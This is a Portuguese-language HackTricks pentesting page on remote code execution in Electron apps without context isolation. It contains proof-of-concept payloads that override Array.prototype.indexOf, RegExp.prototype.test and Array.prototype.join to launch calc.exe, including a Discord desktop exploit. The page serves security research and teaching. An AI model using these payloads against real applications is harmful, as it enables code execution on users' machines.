hacktricks/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

83 lines
3.7 KiB
Markdown

# Electron contextIsolation RCE via preload code
{{#include ../../../banners/hacktricks-training.md}}
## Exemplo 1
Exemplo de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
Este código abre links http(s) com o navegador padrão:
![](<../../../images/image (768).png>)
Algo como `file:///C:/Windows/systemd32/calc.exe` poderia ser usado para executar uma calculadora, o `SAFE_PROTOCOLS.indexOf` está prevenindo isso.
Portanto, um atacante poderia injetar este código JS via XSS ou navegação de página arbitrária:
```html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
```
Como a chamada para `SAFE_PROTOCOLS.indexOf` sempre retornará 1337, o atacante pode contornar a proteção e executar o calc. Exploit final:
```html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Verifique os slides originais para outras maneiras de executar programas sem ter um prompt pedindo permissões.
Aparentemente, outra maneira de carregar e executar código é acessar algo como `file://127.0.0.1/electron/rce.jar`
## Exemplo 2: RCE do App Discord
Exemplo de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
Ao verificar os scripts de preload, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, na página da web.\
Aqui, não consegui usar módulos que podem ser usados para RCE diretamente, como o módulo _child_process_, mas **encontrar um código onde RCE pode ser alcançado ao sobrescrever os métodos embutidos do JavaScript** e interferir na execução do módulo exposto.
O seguinte é o PoC. Consegui confirmar que o aplicativo **calc** é **aberto** quando eu **chamo a função `getGPUDriverVersions`** que está definida no módulo chamado "_discord_utils_" do devTools, enquanto **sobrescrevo o `RegExp.prototype.test` e `Array.prototype.join`**.
```javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
```
A função `getGPUDriverVersions` tenta executar o programa usando a biblioteca "_execa_", como a seguinte:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
```
Normalmente, o _execa_ tenta executar "_nvidia-smi.exe_", que é especificado na variável `nvidiaSmiPath`, no entanto, devido ao `RegExp.prototype.test` e `Array.prototype.join` sobrepostos, **o argumento é substituído por "**_**calc**_**" no processamento interno do _execa**_**.
Especificamente, o argumento é substituído alterando as seguintes duas partes.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
{{#include ../../../banners/hacktricks-training.md}}